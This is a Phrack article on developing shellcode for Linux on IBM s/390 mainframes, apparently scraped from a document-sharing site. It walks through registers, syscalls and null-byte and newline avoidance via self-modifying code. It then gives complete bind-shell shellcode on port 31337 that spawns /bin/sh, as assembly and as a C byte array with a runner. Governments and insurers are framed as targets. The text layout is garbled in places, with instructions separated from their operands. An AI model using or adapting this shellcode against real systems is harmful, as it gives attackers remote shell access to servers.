You are on page 1of 9

==Phrack Inc.

== Volume 0x0b, Issue 0x3b, Phile #0x0d of 0x12 =----------------=[ Linux/390 shellcode development ]=------------------= =-----------------------------------------------------------------------= =-------=[ johnny cyberpunk <jcyberpunk@thehackerschoice.com> ]=--------= --[ Contents 1 - Introduction 2 - History and facts 2.1 - Registers 2.2 - Instruction set 2.3 - Syscalls 2.4 - The native code 2.5 - Avoiding the evil 0x00 and 0x0a 2.6 - The final code 3 - References

--[ 1 - Introduction Since Linux/390 has been released by IBM more and more b0xes of this type can be found in the wild. A good reason for a hacker to get a closer look on how vulnerable services can be exploited on a mainframe. Remember, who are the owners of mainframes ? Yeah, big computer centres, insurances or goverments. Well, in this article I'll uncover how to write the bad code (aka shellcode). The bind-shellcode at the end should be taken as an example. Other shellcode and exploit against some known vulnerabilities can be found on a seperate link (see References) in the next few weeks. Suggestions, improvements or flames can be send directly to the email address posted in the header of this article. My gpg-key can be found at the document bottom. --[ 2 - History and facts In late 1998 a small team of IBM developers from Boeblingen/Germany started to port Linux to mainframes. One year later in December 1999 the first version has been published for the IBM s/390. There are two versions available: A 32 bit version, referred to as Linux on s/390 and a 64 bit version, referred to as Linux on zSeries. Supported distros are Suse, Redhat and TurboLinux. Linux for s/390 is based on the kernel 2.2, the zSeries is based on kernel 2.4. There are different ways to run Linux: Native LPAR - Linux runs on the entire machine, with no other OS - Logical PARtition): The hardware can be logically partitioned, for example, one LPAR hosts a VM/VSE environment and another LPAR hosts Linux. VM/ESA Guest - means that a customer can also run Linux in a virtual machine

The binaries are in ELF format (big endianess).

----[ 2.1 - Registers For our shellcode development we really don't need the whole bunch of registers the s/390 or zSeries has. The most interesting for us are the registers %r0-%r15. Anyway I'll list some others here for to get an overview. General propose registers : %r0-%r15 or gpr0-gpr15 are used for addressing and arithmetic Control registers : cr0-cr15 are only used by kernel for irq control, memory management, debugging control ... Access registers : ar0-ar15 are normally not used by programs, but good for temporary storage Floating point registers : fp0-fp15 are IEEE and HFP floating ( Linux only uses IEEE ) PSW ( Programm Status Word ) : is the most important register and serves the roles of a program counter, memory space designator and condition code register. For those who wanna know more about this register, should take a closer look on the references at the bottom.

----[ 2.2 - Instruction set Next I'll show you some useful instructions we will need, while developing our shellcode. Instruction Example --------------------------------------------------------------------------basr (branch and save) %r1,0 # save value 0 to %r1 lhi (load h/word immediate) lhi %r4,2 # load value 2 into %r4 la (load address) la %r3,120(%r15) # load address from # %r15+120 into %r3 lr (load register) lr %r4,%r9 # load value from %r9 # into %r4 stc (store character) stc %r6,120(%r15) # store 1 character from # %r6 to %r15+120 sth (store halfword) sth %r3,122(%r15) # store 2 bytes from # %r3 to %r15+122 ar (add) ar %r6,%r10 # add value in %r10 ->%r6 xr (exclusive or) xr %r2,%r2 # 0x00 trick :) svc (service call) svc 1 # exit

----[ 2.3 - Syscalls On Linux for s/390 or zSeries syscalls are done by using the instruction SVC with it's opcode 0x0a ! This is no good message for shellcoders, coz 0x0a is a special character in a lot of services. But before i start explaining how we can avoid using this call let's have a look on how our OS is using the syscalls. The first four parameters of a syscall are delivered to the registers %r2-%r5 and the resultcode can be found in %r2 after the SVC call. Example of an execve call: basr base: la la la svc exec: .string "/bin//sh" arg: .long tonull: .long 0x0 exec %r2,exec-base(%r1) %r3,arg-base(%r1) %r4,tonull-base(%r1) 11 %r1,0

A special case is the SVC call 102 (SYS_SOCKET). First we have to feed the register %r2 with the desired function ( socket, bind, listen, accept, ....) and %r3 points to a list of parameters this function needs. Every parameter in this list has its own u_long value. And again an example of a socket() call : lhi lhi xr stm lhi la svc lr %r2,2 %r3,1 %r4,%r4 %r2,%r4,128(%r15) %r2,1 %r3,128(%r15) 102 %r7,%r2 # # # # # # # # domain type protocol store %r2 - %r4 function socket() pointer to the API values SOCKETCALL save filedescriptor to %r7

----[ 2.4 - The native code So now, here is a sample of a complete portbindshell in native style : .globl _start _start: basr base: lhi sth %r2,2 %r2,120(%r15) # AF_INET %r1,0 # our base-address

lhi sth xr st lhi stm lhi la svc lr la lhi lr stm lhi la svc lr lhi stm lhi la svc lr la stm st lhi la svc xr svc ahi svc ahi svc la la la svc slr svc exec:

%r3,31337 %r3,122(%r15) %r4,%r4 %r4,124(%r15) %r3,1 %r2,%r4,128(%r15) %r2,1 %r3,128(%r15) 102 %r7,%r2 %r3,120(%r15) %r9,16 %r4,%r9 %r2,%r4,128(%r15) %r2,2 %r3,128(%r15) 102 %r2,%r7 %r3,1 %r2,%r3,128(%r15) %r2,4 %r3,128(%r15) 102 %r2,%r7 %r3,120(%r15) %r2,%r3,128(%r15) %r9,136(%r15) %r2,5 %r3,128(%r15) 102 %r3,%r3 63 %r3,1 63 %r3,1 63 %r2,exec-base(%r1) %r3,arg-base(%r1) %r4,tonull-base(%r1) 11 %r2,%r2 1

# port # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # INADDR_ANY 120-127 is struct sockaddr * SOCK_STREAM store %r2-%r4, our API values SOCKET_socket pointer to the API values SOCKETCALL save socket fd to %r7 pointer to struct sockaddr * save value 16 to %r9 sizeof address store %r2-%r4, our API values SOCKET_bind pointer to the API values SOCKETCALL get saved socket fd MAXNUMBER store %r2-%r3, our API values SOCKET_listen pointer to the API values SOCKETCALL get saved socket fd pointer to struct sockaddr * store %r2-%r3,our API values %r9 = 16, this case: fromlen SOCKET_accept pointer to the API values SOCKETCALL the following shit duplicates stdin, stdout stderr DUP2 point to /bin/sh points to address of /bin/sh point to envp value execve

# exit

.string "/bin//sh" arg: .long tonull: .long 0x0 exec

----[ 2.5 - Avoiding 0x00 and 0x0a To get a clean working shellcode we have two things to bypass. First avoiding 0x00 and second avoiding 0x0a. Here is our first case :

a7 28 00 02

lhi

%r2,02

And here is my solution : a7 a8 fb b4 a7 28 04 4e 1a 2a lhi lhi ar %r10,-1100 %r2,1102 %r2,%r10

I statically define a value -1100 in %r10 to use it multiple times. After that i load my wanted value plus 1100 and in the next instruction the subtraction of 1102-1100 gives me the real value. Quite easy. To get around the next problem we have to use selfmodifing code: svc: .long 0x0b6607fe <---- will be svc 66, br %r14 after code modification

Look at the first byte, it has the value 0x0b at the moment. The following code changes this value to 0x0a: basr la lhi lhi ar stc %r1,0 %r9,svc-base(%r1) %r6,1110 %r10,-1100 %r6,%r10 %r6,svc-base(%r1) # # # # # # our base-address load address of svc subroutine selfmodifing code is used 1110 - 1100 = \x0a opcode SVC store svc opcode

Finally the modified code looks as follows : 0a 66 07 fe svc 66 br %r14

To branch to this subroutine we use the following command : basr %r14,%r9 # branch to subroutine SVC 102

The Register %r9 has the address of the subroutine and %r14 contains the address where to jump back.

----[ 2.6 - The final code Finally we made it, our shellcode is ready for a first test: .globl _start _start: basr base: la lhi lhi ar stc lhi ar sth %r9,svc-base(%r1) %r6,1110 %r10,-1100 %r6,%r10 %r6,svc-base(%r1) %r2,1102 %r2,%r10 %r2,120(%r15) # # # # # # # load address of svc subroutine selfmodifing code is used 1110 - 1100 = \x0a opcode SVC store svc opcode portbind code always uses real value-1100 (here AF_INET) %r1,0 # our base-address

lhi sth xr st lhi ar stm lhi ar la basr lr la lhi ar lr stm lhi ar la basr lr lhi ar stm lhi ar la basr lr la stm st lhi ar la basr lhi ar stc lhi ar basr ahi basr ahi basr lhi ar stc la st la xr stc st la basr svc:

%r3,31337 %r3,122(%r15) %r4,%r4 %r4,124(%r15) %r3,1101 %r3,%r10 %r2,%r4,128(%r15) %r2,1101 %r2,%r10 %r3,128(%r15) %r14,%r9 %r7,%r2 %r3,120(%r15) %r8,1116 %r8,%r10 %r4,%r8 %r2,%r4,128(%r15) %r2,1102 %r2,%r10 %r3,128(%r15) %r14,%r9 %r2,%r7 %r3,1101 %r3,%r10 %r2,%r3,128(%r15) %r2,1104 %r2,%r10 %r3,128(%r15) %r14,%r9 %r2,%r7 %r3,120(%r15) %r2,%r3,128(%r15) %r8,136(%r15) %r2,1105 %r2,%r10 %r3,128(%r15) %r14,%r9 %r6,1163 %r6,%r10 %r6,svc+1-base(%r1) %r3,1102 %r3,%r10 %r14,%r9 %r3,-1 %r14,%r9 %r3,-1 %r14,%r9 %r6,1111 %r6,%r10 %r6,svc+1-base(%r1) %r2,exec-base(%r1) %r2,exec+8-base(%r1) %r3,exec+8-base(%r1) %r4,%r4 %r4,exec+7-base(%r1) %r4,exec+12-base(%r1) %r4,exec+12-base(%r1) %r14,%r9

# port # INADDR_ANY # 120-127 is struct sockaddr * # SOCK_STREAM # store %r2-%r4, our API values # SOCKET_socket # # # # # # # # # # # # pointer to the API values branch to subroutine SVC 102 save socket fd to %r7 pointer to struct sockaddr * value 16 is stored in %r8 size of address store %r2-%r4, our API values SOCKET_bind pointer to the API values branch to subroutine SVC 102 get saved socket fd MAXNUMBER

# store %r2-%r3, our API values # SOCKET_listen # # # # # # # pointer to the API values branch to subroutine SVC 102 get saved socket fd pointer to struct sockaddr * store %r2-%r3, our API values %r8 = 16, in this case fromlen SOCKET_accept

# pointer to the API values # branch to subroutine SVC 102 # initiate SVC 63 = DUP2 # modify subroutine to SVC 63 # the following shit # duplicates # stdin, stdout # stderr # SVC 63 = DUP2 # initiate SVC 11 = execve # # # # # # # # # modify subroutine to SVC 11 point to /bin/sh save address to /bin/sh points to address of /bin/sh 0x00 is envp fix last byte /bin/sh\\ to 0x00 store 0x00 value for envp point to envp value branch to subroutine SVC 11

.long 0x0b6607fe

# our subroutine SVC n + br %r14

exec: .string "/bin/sh\\" In a C-code environment it looks like this : char shellcode[]= "\x0d\x10" "\x41\x90\x10\xd4" "\xa7\x68\x04\x56" "\xa7\xa8\xfb\xb4" "\x1a\x6a" "\x42\x60\x10\xd4" "\xa7\x28\x04\x4e" "\x1a\x2a" "\x40\x20\xf0\x78" "\xa7\x38\x7a\x69" "\x40\x30\xf0\x7a" "\x17\x44" "\x50\x40\xf0\x7c" "\xa7\x38\x04\x4d" "\x1a\x3a" "\x90\x24\xf0\x80" "\xa7\x28\x04\x4d" "\x1a\x2a" "\x41\x30\xf0\x80" "\x0d\xe9" "\x18\x72" "\x41\x30\xf0\x78" "\xa7\x88\x04\x5c" "\x1a\x8a" "\x18\x48" "\x90\x24\xf0\x80" "\xa7\x28\x04\x4e" "\x1a\x2a" "\x41\x30\xf0\x80" "\x0d\xe9" "\x18\x27" "\xa7\x38\x04\x4d" "\x1a\x3a" "\x90\x23\xf0\x80" "\xa7\x28\x04\x50" "\x1a\x2a" "\x41\x30\xf0\x80" "\x0d\xe9" "\x18\x27" "\x41\x30\xf0\x78" "\x90\x23\xf0\x80" "\x50\x80\xf0\x88" "\xa7\x28\x04\x51" "\x1a\x2a" "\x41\x30\xf0\x80" "\x0d\xe9" "\xa7\x68\x04\x8b" "\x1a\x6a" "\x42\x60\x10\xd5" "\xa7\x38\x04\x4e" "\x1a\x3a" "\x0d\xe9" "\xa7\x3a\xff\xff" /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* basr la lhi lhi ar stc lhi ar sth lhi sth xr st lhi ar stm lhi ar la basr lr la lhi ar lr stm lhi ar la basr lr lhi ar stm lhi ar la basr lr la stm st lhi ar la basr lhi ar stc lhi ar basr ahi %r1,%r0 %r9,212(%r1) %r6,1110 %r10,-1100 %r6,%r10 %r6,212(%r1) %r2,1102 %r2,%r10 %r2,120(%r15) %r3,31337 %r3,122(%r15) %r4,%r4 %r4,124(%r15) %r3,1101 %r3,%r10 %r2,%r4,128(%r15) %r2,1101 %r2,%r10 %r3,128(%r15) %r14,%r9 %r7,%r2 %r3,120(%r15) %r8,1116 %r8,%r10 %r4,%r8 %r2,%r4,128(%r15) %r2,1102 %r2,%r10 %r3,128(%r15) %r14,%r9 %r2,%r7 %r3,1101 %r3,%r10 %r2,%r3,128(%r15) %r2,1104 %r2,%r10 %r3,128(%r15) %r14,%r9 %r2,%r7 %r3,120(%r15) %r2,%r3,128(%r15) %r8,136(%r15) %r2,1105 %r2,%r10 %r3,128(%r15) %r14,%r9 %r6,1163 %r6,%r10 %r6,213(%r1) %r3,1102 %r3,%r10 %r14,%r9 %r3,-1 */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */ */

"\x0d\xe9" "\xa7\x3a\xff\xff" "\x0d\xe9" "\xa7\x68\x04\x57" "\x1a\x6a" "\x42\x60\x10\xd5" "\x41\x20\x10\xd8" "\x50\x20\x10\xe0" "\x41\x30\x10\xe0" "\x17\x44" "\x42\x40\x10\xdf" "\x50\x40\x10\xe4" "\x41\x40\x10\xe4" "\x0d\xe9" "\x0b\x66" "\x07\xfe" "\x2f\x62\x69\x6e" "\x2f\x73\x68\x5c";

/* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /* /*

basr ahi basr lhi ar stc la st la xr stc st la basr svc br /bin /sh\

%r14,%r9 */ %r3,-1 */ %r14,%r9 */ %r6,1111 */ %r6,%r10 */ %r6,213(%r1) */ %r2,216(%r1) */ %r2,224(%r1) */ %r3,224(%r1) */ %r4,%r4 */ %r4,223(%r1) */ %r4,228(%r1) */ %r4,228(%r1) */ %r14,%r9 */ 102 <--- after modification */ %r14 */ */ */

main() { void (*z)()=(void*)shellcode; z(); }

--[ 3 - References: [1] z/Architecture Principles of Operation (SA22-7832-00) http://publibz.boulder.ibm.com/epubs/pdf/dz9zr000.pdf [2] Linux for S/390 ( SG24-4987-00 ) http://www.redbooks.ibm.com/pubs/pdfs/redbooks/sg244987.pdf [3] LINUX for S/390 ELF Application Binary Interface Supplement http://oss.software.ibm.com/linux390/docu/l390abi0.pdf [4] Example exploits http://www.thehackerschoice.com/misc/sploits/ -----BEGIN PGP PUBLIC KEY BLOCK----Version: GnuPG v1.0.6 (GNU/Linux) Comment: Weitere Infos: siehe http://www.gnupg.org mQGiBDzw5yMRBACGJ1o25Bfbb6mBkP2+qwd0eCTvCmC5uJGdXWOW8BbQwDHkoO4h sdouA+0JdlTFIQriCZhZWbspNsWEpXPOAW8vG3fSqIUqiDe6Aj21h+BnW0WEqx9t 8TkooEVS3SL34wiDCig3cQtmvAIj0C9g4pj5B/QwHJYrWNFoAxc2SW1lXwCg8Wk9 LawvHW+Xqnc6n/w5Oo8IpNsD/2Lp4fvQFiTvN22Jd63nCQ75A64fB7mH7ZUsVPYy BctYXM4GhcHx7zfOhAbJQNWoNmYGiftVr9UvO9GSnG+Y9jq6I16qOn7T7dIZUEpL F5FevEFTyrtDGYmBhGv9hwtbz3CI9n9gpZxz1xYTbDHxkVIiTMlcNR3GIJRPfo5B a7u4A/9ncKqRx2HbRkaj39zugC6Y28z9lSimGzu7PTVw3bxDbObgi4CyHcjnHe+j DResuKGgdyEf+d07ofbFEOdQjgaDx1mmswS4pcILKOyRdQMtdbgSdyPlJw5KGHLX G0hrHV/Uhgok3W6nC43ZvPWbd3HVfOIU8jDTRgWaRDjGc45dtbQkam9obm55IGN5 YmVycHVuayA8am9obmN5YnBrQGdteC5uZXQ+iFcEExECABcFAjzw5yMFCwcKAwQD FQMCAxYCAQIXgAAKCRD3c5EGutq/jMW7AJ9OSmrB+0vMgPfVOT4edV7C++RNHwCf byT/qKeSawxasF8g4HeX33fSPe25Ag0EPPDnrRAIALdcTn8E2Z8Z4Ua4p8fjwXNO iP6GOANUN5XLpmscv9v5ErPfK+NM2ARb7O7rQJfLkmKV8voPNj4lPUUyltGeOhzj

t86I5p68RRSvO5JKTW+riZamaD8lB84YqLzmt9OuzuOeAJCq3GuQtPMyrNuOkPL9 nX51EgnLnYaUYAkysAhYLhlrye/3maNdjtn2T63MoJauAoB4TpKvegsGsf1pA5mj y9fuG6zGnWt8XpVSdD2W3PUJB+Q7J3On35byebIKiuGsti6Y5L0ZSDlW2rveZp9g eRSQz06j+mxAooTUMBBJwMmXjHm5nTgr5OX/8mpb+I73MGhtssRr+JW+EWSLQN8A AwcH/iqRCMmPB/yiMhFrEPUMNBsZOJ+VK3PnUNLbAPtHz7E2ZmEpTgdvLR3tjHTC vZO6k40H1BkodmdFkCHEwzhWwe8P3a+wgW2LnPCM6tfPEfp9kPXD43UlTLWLL4RF cPmyrs45B2uht7aE3Pe0SgbsnWAej87Stwb+ezOmngmrRvZKnYREVR1RHRRsH3l6 C4rexD3uHjFNdEXieW97xHG71YpOVDX6slCK2SumfxzQAEZC2n7/DqwPd6Z/abAf Ay9WmTpqBFd2FApUtZ1h8cpS6MYb6A5R2BDJQl1hN2pQFNzIh8chjVdQc67dKiay R/g0Epg0thiVAecaloCJlJE8b3OIRgQYEQIABgUCPPDnrQAKCRD3c5EGutq/jNuP AJ979IDls926vsxlhRA5Y8G0hLyDAwCgo8eWQWI7Y+QVfwBG8XCzei4oAiI= =2B7h -----END PGP PUBLIC KEY BLOCK----=[ EOF ]=---------------------------------------------------------------=

You might also like